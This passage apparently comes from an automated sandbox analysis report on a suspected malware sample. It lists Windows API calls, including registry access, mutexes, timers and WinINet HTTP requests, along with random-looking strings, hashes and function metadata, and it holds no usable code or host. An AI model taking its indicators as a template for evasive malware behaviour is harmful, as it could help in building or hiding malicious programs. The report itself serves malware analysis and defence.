CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000F0D,00000000), ref: 0040BB14
CloseHandle.KERNEL32(00000000), ref: 0040BB1B
RegOpenKeyExA.ADVAPI32(80000001,regyezpr8p0,00000000,00020019,?), ref: 0040BB36
CreateMutexA.KERNEL32(00000000,00000000,MTX3hp8jysu), ref: 0040BB45
ReleaseMutex.KERNEL32(00000000), ref: 0040BB50
GetLastError.KERNEL32 ref: 0040BB56
SetEnvironmentVariableA.KERNEL32(b41wj9qb,ua90hhpd), ref: 0040BB64
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_zadb713x), ref: 0040BB73
CancelWaitableTimer.KERNEL32(00000000), ref: 0040BB7E
SetEnvironmentVariableA.KERNEL32(nh396059,uc1gakqi), ref: 0040BB8E
OutputDebugStringA.KERNEL32(log: 8p4gj250), ref: 0040BB9B
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_rw43dmgh), ref: 0040BBA8
SetEnvironmentVariableA.KERNEL32(cbscjwnj,omriichf), ref: 0040BBBA
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040BBC5
SetEnvironmentVariableA.KERNEL32(vbpjj1o8,haxpa9j7), ref: 0040BBE5
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_d723nldd), ref: 0040BBF6
SetEvent.KERNEL32(00000000), ref: 0040BBFF
ResetEvent.KERNEL32(00000000), ref: 0040BC06
LocalAlloc.KERNEL32(00000040,00000100), ref: 0040BC13
lstrlenA.KERNEL32(00000000), ref: 0040BC50
lstrcpyn.KERNEL32(00000000,00000000,00000001), ref: 0040BC5D
lstrlenA.KERNEL32(?), ref: 0040BC6A
LocalFree.KERNEL32(?), ref: 0040BC75
InternetOpenW.WININET(Xmlst,00000000,00000000,00000000,00000000), ref: 0040BC94
InternetSetOptionW.WININET(00000000,00000006,00007530,00000004), ref: 0040BCA6
InternetSetOptionW.WININET(?,00000005,0007A120,00000004), ref: 0040BCB7
InternetConnectW.WININET(?,?,?,00000000,00000000,00000003,00000000,00000001), ref: 0040BCD8
HttpOpenRequestW.WININET(00000000,0040E56B,00000000,00000000,0040E56B,00400000,00000001), ref: 0040BD0F
lstrlenW.KERNEL32(00000001,?,00000000), ref: 0040BD26
HttpSendRequestW.WININET(0040E56B,00000001,00000000), ref: 0040BD34
InternetReadFile.WININET(0040E56B,00000001,0000C350,?), ref: 0040BD4B
InternetReadFile.WININET(0040E56B,00000001,0000C350,?), ref: 0040BD6E
InternetCloseHandle.WININET(0040E56B), ref: 0040BD7F
InternetCloseHandle.WININET(?), ref: 0040BD88
InternetCloseHandle.WININET(?), ref: 0040BD91
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_44raepq5), ref: 0040BDA2
OutputDebugStringA.KERNEL32(log: x2tnpurx), ref: 0040BDAF
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040BDB6
RegOpenKeyExA.ADVAPI32(80000001,reg8czm43e8,00000000,00020019,?), ref: 0040BDD5
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_l0gyian9), ref: 0040BDE6
SetEvent.KERNEL32(00000000), ref: 0040BDEF
ResetEvent.KERNEL32(00000000), ref: 0040BDF6
FindFirstFileA.KERNEL32(s_nrgnjxfk,?), ref: 0040BE08
FindClose.KERNEL32(00000000), ref: 0040BE0F
OutputDebugStringA.KERNEL32(log: kv4b6txn), ref: 0040BE1A
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML1p4wi5nq), ref: 0040BE27
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040BE32
LocalAlloc.KERNEL32(00000000,000006AB), ref: 0040BE3F
RegOpenKeyExA.ADVAPI32(80000001,regc167tikm,00000000,00020019,?), ref: 0040BE5C
LocalFree.KERNEL32(00000000), ref: 0040BE63
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_b6shex8x), ref: 0040BE72
CancelWaitableTimer.KERNEL32(00000000), ref: 0040BE7D
OutputDebugStringA.KERNEL32(log: 5otq6k88), ref: 0040BE88
GetLastError.KERNEL32 ref: 0040BE8C
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000CCD,00000000), ref: 0040BE9C
CloseHandle.KERNEL32(00000000), ref: 0040BEA3
SetEnvironmentVariableA.KERNEL32(aa7g80bs,yvjbjcwx), ref: 0040BEB3
CreateMutexA.KERNEL32(00000000,00000000,MTXx6bpbtxa), ref: 0040BEC0
lstrlenA.KERNEL32(00000001,00000000,00000000), ref: 0040BECC
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000001,00000001), ref: 0040BEDC
LocalAlloc.KERNEL32(00000040,00000001), ref: 0040BEEA
lstrlenA.KERNEL32(00000001,00000000,00000000), ref: 0040BEFC
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000001,00000001), ref: 0040BF0C
LocalFree.KERNEL32(00000000), ref: 0040BF23
LocalFree.KERNEL32(?), ref: 0040BF2C
LocalFree.KERNELBASE(00000001), ref: 0040BF33
LocalFree.KERNELBASE(?), ref: 0040BF3C

Strings

reg5mq4umsq, xrefs: 0040ADEE
SMPHR_rw43dmgh, xrefs: 0040BB9D
XML3gtkb050, xrefs: 0040B32B
s_icy0nkt4, xrefs: 0040B752
MTX3hp8jysu, xrefs: 0040BB3C
ev_d723nldd, xrefs: 0040BBEB
nh396059, xrefs: 0040BB89
WTMR_1ki26yuz, xrefs: 0040B852
log: h533lra5, xrefs: 0040B188
regeqbot0vf, xrefs: 0040B716
log: n4rqy4pu, xrefs: 0040AD8F
zpan8dvs, xrefs: 0040B5A1
WTMR_a96v12lz, xrefs: 0040B826
SMPHR_vk3imx2p, xrefs: 0040AD1C
s_gr37g9eg, xrefs: 0040AEB1
SMPHR_az5vvlxq, xrefs: 0040B465
SMPHR_a9rmajmv, xrefs: 0040B0F9
HOA, xrefs: 0040B911
s_s7vtzzwh, xrefs: 0040AD07
MTX82lg856b, xrefs: 0040B6ED
WTMR_g2s91s1q, xrefs: 0040AD6D
8zub2tyd, xrefs: 0040BBCF
WTMR_zadb713x, xrefs: 0040BB6A
ut5o8wzk, xrefs: 0040AF1C
XMLu7vsecrb, xrefs: 0040B9FE
0u, xrefs: 0040BC7D
s_bm2y05ug, xrefs: 0040B3E9
log: 8p4gj250, xrefs: 0040BB96
kc667epz, xrefs: 0040B238
WTMR_vks4zojj, xrefs: 0040ADC0
d5zl6699, xrefs: 0040B835
log: 42nwun63, xrefs: 0040BABC
WTMR_m5lrh938, xrefs: 0040B4C0
log: x47udiz8, xrefs: 0040B6E6
log: tm2sd8o3, xrefs: 0040AD7C
s_slut2spb, xrefs: 0040B12E
XMLwroxmn7o, xrefs: 0040B5B1
reghwz38tv4, xrefs: 0040AFD3
s, xrefs: 0040BCE9
ev_301aff78, xrefs: 0040B9A8
vv103cpy, xrefs: 0040B165
f8sc5yaw, xrefs: 0040B2FE
regej896r1v, xrefs: 0040AF4B
fg2ptiwf, xrefs: 0040B41A
log: uijgukd2, xrefs: 0040B0C5
MTXwgvabenl, xrefs: 0040B24D
XML8tixmk21, xrefs: 0040B76A
WTMR_dh0rcwfk, xrefs: 0040BA8E
haxpa9j7, xrefs: 0040BBDB
log: 4lk3sg0f, xrefs: 0040BA34
ev_50413huk, xrefs: 0040AFE3
s_ppq64u2y, xrefs: 0040B9D0
MTXcgnckz19, xrefs: 0040AD53
q6h45jcg, xrefs: 0040AFA9
x3cf3e84, xrefs: 0040BBD4
MTXx6bpbtxa, xrefs: 0040BEB9
9eilz4ir, xrefs: 0040B5A6
51d7jo5m, xrefs: 0040B2F9
log: rlmqck6a, xrefs: 0040B260
XMLe8moth3u, xrefs: 0040B889
MTX6ozsop4h, xrefs: 0040B8A5
ev_l1z0l00z, xrefs: 0040B868
MTXjtyngfhk, xrefs: 0040BA74
MTXxnxq2g4u, xrefs: 0040AEC3
regzfbam5yq, xrefs: 0040AF79
log: m7kmt5r1, xrefs: 0040B423
omriichf, xrefs: 0040BBAE
yvjbjcwx, xrefs: 0040BEA9
fyvm78o7, xrefs: 0040B160
log: kv4b6txn, xrefs: 0040BE15
SMPHR_44raepq5, xrefs: 0040BD97
WTMR_xuffvx0r, xrefs: 0040B9E2
log: zh92grdg, xrefs: 0040AD35
4hkujjgz, xrefs: 0040B0E5
s_p4ycnpkx, xrefs: 0040B2B3
Xmlst, xrefs: 0040BC88
vbpjj1o8, xrefs: 0040BBE0
ev_ounbvp1g, xrefs: 0040B28B
s_gswidjlc, xrefs: 0040B5EB
WTMR_uq62tt57, xrefs: 0040B2E4
@MA, xrefs: 0040B385
regru1qr65c, xrefs: 0040B58F
ev_wyrqgjyi, xrefs: 0040B72A
ev_h7zkabvy, xrefs: 0040B5FD
ua90hhpd, xrefs: 0040BB5A
WTMR_hjy402y6, xrefs: 0040AF9A
WTMR_xi91ndgx, xrefs: 0040B1F4
regb20lh6pl, xrefs: 0040B816
xrc9odtk, xrefs: 0040BAA2
SMPHR_s1za48z0, xrefs: 0040B568
cbscjwnj, xrefs: 0040BBB3
XMLltlzpp45, xrefs: 0040B0A6
regudmxaccv, xrefs: 0040B549
25l4t7u9, xrefs: 0040B83A
aa7g80bs, xrefs: 0040BEAE
b41wj9qb, xrefs: 0040BB5F
p8sv9va6, xrefs: 0040B0E0
xgw5df8e, xrefs: 0040B1FF
log: u9chcop0, xrefs: 0040ADCB
xsguzti4, xrefs: 0040BA9D
e7ytlrou, xrefs: 0040B31B
log: x2tnpurx, xrefs: 0040BDA8
regd11k8nm3, xrefs: 0040B1AE
84uo9fmm, xrefs: 0040B316
XML1p4wi5nq, xrefs: 0040BE1C
WTMR_a3wb3mbt, xrefs: 0040AE79
WTMR_zav6ti39, xrefs: 0040B1C0
log: g1n80ky4, xrefs: 0040AF0C
log: s9phvpev, xrefs: 0040B324
ev_djhwfwwe, xrefs: 0040AD9B
u3r75ta9, xrefs: 0040AF21
T5A, xrefs: 0040B92A
52fhizyp, xrefs: 0040B10F
SMPHR_5pq56eyt, xrefs: 0040BA18
SMPHR_w01wuxzg, xrefs: 0040AF5B
XMLfky632jo, xrefs: 0040B42A
dyultzvq, xrefs: 0040B68B
XMLjavzo8sx, xrefs: 0040AE8E
log: ngifw4hg, xrefs: 0040B2DD
ev_l0gyian9, xrefs: 0040BDDB
uc1gakqi, xrefs: 0040BB84
regpdiu4smf, xrefs: 0040B6CF
regyezpr8p0, xrefs: 0040BB2C
s_nrgnjxfk, xrefs: 0040BE03
regc167tikm, xrefs: 0040BE52
SMPHR_z23q321u, xrefs: 0040B782
regpwrexbmw, xrefs: 0040B5D4
MTX9om0q4fv, xrefs: 0040B140
log: e4kj0m20, xrefs: 0040B476
ev_f9rccmx4, xrefs: 0040B499
log: 0u7qc5gr, xrefs: 0040B492
sgbn61uw, xrefs: 0040B686
WTMR_94qao1ul, xrefs: 0040B61E
WTMR_b6shex8x, xrefs: 0040BE69
reg8czm43e8, xrefs: 0040BDCB
regv9wc9k68, xrefs: 0040B27B
u4m2d781, xrefs: 0040B23D
zuwwp523, xrefs: 0040B10A
wvivfg94, xrefs: 0040B204
uip2r83q, xrefs: 0040AFAE
WTMR_y01h2ibv, xrefs: 0040B3FB
x5A, xrefs: 0040B8F7
zmggrllj, xrefs: 0040B415
regasg5a7b8, xrefs: 0040AEE8
log: 5otq6k88, xrefs: 0040BE83
WTMR_cb1uu299, xrefs: 0040B176

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Create$Local$Semaphore$TimerWaitable$Event$Release$FileFree$Close$EnvironmentVariable$ErrorLast$DebugOpenOutputString$FindMutex$Alloc$Cancel$Handle$lstrlen$Mapping$FirstInternetReset$ByteCharMultiWide$Readlstrcpyn$HttpOptionRequest$ChangeConnectDeleteNotificationSendSize
String ID: 0u$25l4t7u9$4hkujjgz$51d7jo5m$52fhizyp$84uo9fmm$8zub2tyd$9eilz4ir$@MA$HOA$MTX3hp8jysu$MTX6ozsop4h$MTX82lg856b$MTX9om0q4fv$MTXcgnckz19$MTXjtyngfhk$MTXwgvabenl$MTXx6bpbtxa$MTXxnxq2g4u$SMPHR_44raepq5$SMPHR_5pq56eyt$SMPHR_a9rmajmv$SMPHR_az5vvlxq$SMPHR_rw43dmgh$SMPHR_s1za48z0$SMPHR_vk3imx2p$SMPHR_w01wuxzg$SMPHR_z23q321u$T5A$WTMR_1ki26yuz$WTMR_94qao1ul$WTMR_a3wb3mbt$WTMR_a96v12lz$WTMR_b6shex8x$WTMR_cb1uu299$WTMR_dh0rcwfk$WTMR_g2s91s1q$WTMR_hjy402y6$WTMR_m5lrh938$WTMR_uq62tt57$WTMR_vks4zojj$WTMR_xi91ndgx$WTMR_xuffvx0r$WTMR_y01h2ibv$WTMR_zadb713x$WTMR_zav6ti39$XML1p4wi5nq$XML3gtkb050$XML8tixmk21$XMLe8moth3u$XMLfky632jo$XMLjavzo8sx$XMLltlzpp45$XMLu7vsecrb$XMLwroxmn7o$Xmlst$aa7g80bs$b41wj9qb$cbscjwnj$d5zl6699$dyultzvq$e7ytlrou$ev_301aff78$ev_50413huk$ev_d723nldd$ev_djhwfwwe$ev_f9rccmx4$ev_h7zkabvy$ev_l0gyian9$ev_l1z0l00z$ev_ounbvp1g$ev_wyrqgjyi$f8sc5yaw$fg2ptiwf$fyvm78o7$haxpa9j7$kc667epz$log: 0u7qc5gr$log: 42nwun63$log: 4lk3sg0f$log: 5otq6k88$log: 8p4gj250$log: e4kj0m20$log: g1n80ky4$log: h533lra5$log: kv4b6txn$log: m7kmt5r1$log: n4rqy4pu$log: ngifw4hg$log: rlmqck6a$log: s9phvpev$log: tm2sd8o3$log: u9chcop0$log: uijgukd2$log: x2tnpurx$log: x47udiz8$log: zh92grdg$nh396059$omriichf$p8sv9va6$q6h45jcg$reg5mq4umsq$reg8czm43e8$regasg5a7b8$regb20lh6pl$regc167tikm$regd11k8nm3$regej896r1v$regeqbot0vf$reghwz38tv4$regpdiu4smf$regpwrexbmw$regru1qr65c$regudmxaccv$regv9wc9k68$regyezpr8p0$regzfbam5yq$s$s_bm2y05ug$s_gr37g9eg$s_gswidjlc$s_icy0nkt4$s_nrgnjxfk$s_p4ycnpkx$s_ppq64u2y$s_s7vtzzwh$s_slut2spb$sgbn61uw$u3r75ta9$u4m2d781$ua90hhpd$uc1gakqi$uip2r83q$ut5o8wzk$vbpjj1o8$vv103cpy$wvivfg94$x3cf3e84$x5A$xgw5df8e$xrc9odtk$xsguzti4$yvjbjcwx$zmggrllj$zpan8dvs$zuwwp523
API String ID: 172563644-3826183280
Opcode ID: fee65518b980b22f11400447bc8932fafdcfa9efc7cedcf602b3ddc02fec4455
Instruction ID: 32c447154fce9e316de7edc450c55c35ee9a29b6dc5d9185b281585774e53aa1
Opcode Fuzzy Hash: fee65518b980b22f11400447bc8932fafdcfa9efc7cedcf602b3ddc02fec4455
Instruction Fuzzy Hash: 52B22D71A80304BBEB106BA09D4AFEE3E75EB48B01F118125F705F61E1D7B89951CBAD

Function 0040A1CD Relevance: 506.6, APIs: 189, Strings: 100, Instructions: 868
timeregistrysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_7h2c73ml), ref: 0040A1E4
RegOpenKeyExA.KERNELBASE(80000001,reg03kuim9g,00000000,00020019,?), ref: 0040A201
CancelWaitableTimer.KERNEL32(00000000), ref: 0040A212
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_tx0frsv8), ref: 0040A21D
CancelWaitableTimer.KERNEL32(00000000), ref: 0040A224
CreateMutexA.KERNEL32(00000000,00000000,MTXr6g06agb), ref: 0040A22F
OutputDebugStringA.KERNEL32(log: 4dwriqkn), ref: 0040A246
ReleaseMutex.KERNEL32(00000000), ref: 0040A249
GetLastError.KERNEL32 ref: 0040A24F
RegOpenKeyExA.ADVAPI32(80000001,reghm782oif,00000000,00020019,?), ref: 0040A278
RegOpenKeyExA.ADVAPI32(80000001,regx21rcw41,00000000,00020019,?), ref: 0040A28F
FindFirstFileA.KERNEL32(s_tvdg12s9,?), ref: 0040A29D
FindClose.KERNEL32(00000000), ref: 0040A2A4
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000C07,00000000), ref: 0040A2B8
CloseHandle.KERNEL32(00000000), ref: 0040A2BF
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_lf9ezkq5), ref: 0040A2D0
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040A2DB
GetLastError.KERNEL32 ref: 0040A2E5
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLo9nozdus), ref: 0040A2F6
LocalAlloc.KERNEL32(00000040,0000C350), ref: 0040A307
LocalAlloc.KERNEL32(00000040,00000018), ref: 0040A314
LocalAlloc.KERNEL32(00000040,00000208), ref: 0040A324
StrStrW.SHLWAPI(00000000), ref: 0040A367
lstrlenW.KERNEL32(0040955B), ref: 0040A3D5
lstrlenW.KERNEL32(?), ref: 0040A3E0
StrToIntW.SHLWAPI(?), ref: 0040A3F7
RegOpenKeyExA.KERNELBASE(80000001,reg85edlliz,00000000,00020019,?), ref: 0040A415
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_3cda6oqt), ref: 0040A420
CancelWaitableTimer.KERNEL32(00000000), ref: 0040A42D
OutputDebugStringA.KERNEL32(log: 0tw383yu), ref: 0040A434
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLfc2qhit1), ref: 0040A441
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040A44C
SetEnvironmentVariableA.KERNEL32(tquwrqxp,5tshiyq0), ref: 0040A45C
LocalAlloc.KERNEL32(00000000,00000939), ref: 0040A469
LocalFree.KERNEL32(00000000), ref: 0040A470
RegOpenKeyExA.KERNELBASE(80000001,regc47cfi3n,00000000,00020019,?), ref: 0040A48B
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_0c4rk10x), ref: 0040A496
CancelWaitableTimer.KERNEL32(00000000), ref: 0040A4A1
OutputDebugStringA.KERNEL32(log: 9ix5nk5g), ref: 0040A4A8
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_7r7ec1lq), ref: 0040A4B5
SetEvent.KERNEL32(00000000), ref: 0040A4BE
ResetEvent.KERNEL32(00000000), ref: 0040A4C5
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000683,00000000), ref: 0040A4D9
OutputDebugStringA.KERNEL32(log: 1t49m61v), ref: 0040A4E6
FindCloseChangeNotification.KERNEL32(00000000), ref: 0040A4E9
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_nyhse1wa), ref: 0040A4FA
LocalFree.KERNEL32(?), ref: 0040A503
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 0040A51A
LocalAlloc.KERNEL32(00000040,00000040), ref: 0040A528
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 0040A546
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_mt3bbikq), ref: 0040A55D
OutputDebugStringA.KERNEL32(log: 2ussfsz2), ref: 0040A56A
CancelWaitableTimer.KERNEL32(00000000), ref: 0040A573
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLbzc39s88), ref: 0040A580
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040A58B
GetLastError.KERNEL32 ref: 0040A591
RegOpenKeyExA.KERNELBASE(80000001,regzisy1x47,00000000,00020019,?), ref: 0040A5AC
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_3b2r7lwl), ref: 0040A5B9
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040A5C4
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_hedzr4jd), ref: 0040A5D3
CancelWaitableTimer.KERNEL32(00000000), ref: 0040A5DE
CreateMutexA.KERNEL32(00000000,00000000,MTX7m3ovvmf), ref: 0040A5E9
OutputDebugStringA.KERNEL32(log: o60eux9c), ref: 0040A5FA
ReleaseMutex.KERNEL32(00000000), ref: 0040A5FD
OutputDebugStringA.KERNEL32(log: qeq6oav3), ref: 0040A60F
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000046F,00000000), ref: 0040A61F
SetEnvironmentVariableA.KERNEL32(bvi5nwx5,99tg8qim), ref: 0040A62F
InternetOpenW.WININET(Xmlst,00000000,00000000,00000000,00000000), ref: 0040A640
InternetConnectW.WININET(00000000,0040955B,?,00000000,00000000,00000003,00000000,00000001), ref: 0040A661
HttpOpenRequestW.WININET(00000000,?,00000000,00000000,00000000,00400000,00000001), ref: 0040A698
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLla2gh1ao), ref: 0040A6B4
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040A6BF
RegOpenKeyExA.KERNELBASE(80000001,reg69ng1c4n,00000000,00020019,00000073), ref: 0040A6DA
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_0jmzclcl), ref: 0040A6E7
SetEvent.KERNEL32(00000000), ref: 0040A6F0
ResetEvent.KERNEL32(00000000), ref: 0040A6F7
LocalAlloc.KERNEL32(00000000,0000042D), ref: 0040A704
LocalFree.KERNEL32(00000000), ref: 0040A70B
OutputDebugStringA.KERNEL32(log: d7nmnzlk), ref: 0040A716
FindFirstFileA.KERNEL32(s_q6b6asgo,?), ref: 0040A724
FindClose.KERNEL32(00000000), ref: 0040A72B
SetEnvironmentVariableA.KERNEL32(gcpinz2x,t437kmhd), ref: 0040A73B
CreateMutexA.KERNEL32(00000000,00000000,MTX09u9b8q9), ref: 0040A74A
ReleaseMutex.KERNEL32(00000000), ref: 0040A755
GetLastError.KERNEL32 ref: 0040A75D
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_erjmezh6), ref: 0040A76C
GetLastError.KERNEL32 ref: 0040A774
CancelWaitableTimer.KERNEL32(00000000), ref: 0040A77F
SetEnvironmentVariableA.KERNEL32(uf50ofvn,n2rzgkdl), ref: 0040A78F
lstrlenA.KERNEL32(00000000), ref: 0040A799
lstrlenW.KERNEL32(?,00000000,00000000), ref: 0040A7A4
HttpSendRequestW.WININET(?,?,00000000), ref: 0040A7B1
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML3y9pbffs), ref: 0040A7CA
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040A7D5
RegOpenKeyExA.KERNELBASE(80000001,reg050v0xjo,00000000,00020019,?), ref: 0040A7F0
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_v8mcmwj6), ref: 0040A7FD
SetEvent.KERNEL32(00000000), ref: 0040A806
ResetEvent.KERNEL32(00000000), ref: 0040A80D
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_k8e82fz9), ref: 0040A81E
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040A829
OutputDebugStringA.KERNEL32(log: ggqa70rr), ref: 0040A838
SetEnvironmentVariableA.KERNEL32(0vnxhle5,bi1gi9gl), ref: 0040A846
FindFirstFileA.KERNEL32(s_bp9g1sd2,?), ref: 0040A858
FindClose.KERNEL32(00000000), ref: 0040A85F
LocalAlloc.KERNEL32(00000000,00000DB0), ref: 0040A86C
LocalFree.KERNEL32(00000000), ref: 0040A873
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000E87,00000000), ref: 0040A887
CloseHandle.KERNEL32(00000000), ref: 0040A88E
CreateMutexA.KERNEL32(00000000,00000000,MTXe1rwy9uy), ref: 0040A89D
SetEnvironmentVariableA.KERNEL32(bknkwwqu,oyfor3wf), ref: 0040A8B3
ReleaseMutex.KERNEL32(00000000), ref: 0040A8BA
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_qfltqc33), ref: 0040A8D1
GetLastError.KERNEL32 ref: 0040A8D9
CancelWaitableTimer.KERNEL32(00000000), ref: 0040A8E6
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_ueq2mmbb), ref: 0040A8F1
CancelWaitableTimer.KERNEL32(00000000), ref: 0040A8FC
SetEnvironmentVariableA.KERNEL32(kustj1v2,jxdpgela), ref: 0040A90A
InternetReadFile.WININET(?,?,0000C350,?), ref: 0040A920
InternetReadFile.WININET(?,?,0000C350,?), ref: 0040A943
InternetCloseHandle.WININET(?), ref: 0040A956
InternetCloseHandle.WININET(?), ref: 0040A95F
CreateMutexA.KERNEL32(00000000,00000000,MTXj3gu1c69), ref: 0040A96E
RegOpenKeyExA.KERNELBASE(80000001,regydhbdwb8,00000000,00020019,?), ref: 0040A98F
ReleaseMutex.KERNEL32(00000000), ref: 0040A992
OutputDebugStringA.KERNEL32(log: f2a54uo2), ref: 0040A99D
RegOpenKeyExA.ADVAPI32(80000001,regnx2jadyz,00000000,00020019,?), ref: 0040A9AB
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_xjxsk88q), ref: 0040A9B8
OutputDebugStringA.KERNEL32(log: ro3jk3mv), ref: 0040A9C5
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040A9CC
OutputDebugStringA.KERNEL32(log: ppdo11e6), ref: 0040A9E2
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_hszl7rbc), ref: 0040A9ED
SetEnvironmentVariableA.KERNEL32(7qxzlm8y,uwutmtsw), ref: 0040A9FF
CancelWaitableTimer.KERNEL32(00000000), ref: 0040AA06
RegOpenKeyExA.KERNELBASE(80000001,reg0pqc4oj1,00000000,00020019,?), ref: 0040AA21
FindFirstFileA.KERNEL32(s_lg8c4ue8,?), ref: 0040AA2F
FindClose.KERNEL32(00000000), ref: 0040AA36
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLwyf4c164), ref: 0040AA47
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040AA52
LocalAlloc.KERNEL32(00000000,000007E8), ref: 0040AA5F
GetLastError.KERNEL32 ref: 0040AA67
LocalFree.KERNEL32(00000000), ref: 0040AA6E
InternetCloseHandle.WININET(?), ref: 0040AA77
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_xzecjlku), ref: 0040AA88
GetLastError.KERNEL32 ref: 0040AA90
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040AA9B
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_rih7x40e), ref: 0040AAAA
RegOpenKeyExA.KERNELBASE(80000001,regvk0y46zn,00000000,00020019,?), ref: 0040AAC7
CancelWaitableTimer.KERNEL32(00000000), ref: 0040AAD0
SetEnvironmentVariableA.KERNEL32(wn8hur32,3lwtpsp0), ref: 0040AAE2
FindFirstFileA.KERNEL32(s_cdzli2ch,?), ref: 0040AAF0
FindClose.KERNEL32(00000000), ref: 0040AAF7
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLzsndo2gt), ref: 0040AB08
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040AB13
SetEnvironmentVariableA.KERNEL32(2xggp6yd,ev7fjigr), ref: 0040AB23
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_684o09fz), ref: 0040AB2E
SetEnvironmentVariableA.KERNEL32(3tcnzxo7,u93fszu1), ref: 0040AB40
CancelWaitableTimer.KERNEL32(00000000), ref: 0040AB4B
OutputDebugStringA.KERNEL32(log: x8rqt7vn), ref: 0040AB54
LocalAlloc.KERNEL32(00000000,00000940), ref: 0040AB5E
LocalFree.KERNEL32(00000000), ref: 0040AB65
lstrlenA.KERNEL32(?,00000000,00000000), ref: 0040AB71
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000001), ref: 0040AB81
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLz8t7qvto), ref: 0040AB9C
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040ABA7
OutputDebugStringA.KERNEL32(log: r1auj44w), ref: 0040ABB5
LocalAlloc.KERNEL32(00000005,00000F69), ref: 0040ABC2
GetLastError.KERNEL32 ref: 0040ABCA
LocalFree.KERNEL32(00000000), ref: 0040ABD1
OutputDebugStringA.KERNEL32(log: riloegbr), ref: 0040ABDC
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_p240ejws), ref: 0040ABE7
CancelWaitableTimer.KERNEL32(00000000), ref: 0040ABF2
OutputDebugStringA.KERNEL32(log: dzc01bs3), ref: 0040ABFD
FindFirstFileA.KERNEL32(s_m88cwhik,?), ref: 0040AC0B
FindClose.KERNEL32(00000000), ref: 0040AC12
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000286,00000000), ref: 0040AC26
GetLastError.KERNEL32 ref: 0040AC2E
CloseHandle.KERNEL32(00000000), ref: 0040AC35
CreateMutexA.KERNEL32(00000000,00000000,MTXcgly634y), ref: 0040AC44
RegOpenKeyExA.KERNELBASE(80000001,regk7pd5ro7,00000000,00020019,?), ref: 0040AC65
ReleaseMutex.KERNEL32(00000000), ref: 0040AC6C
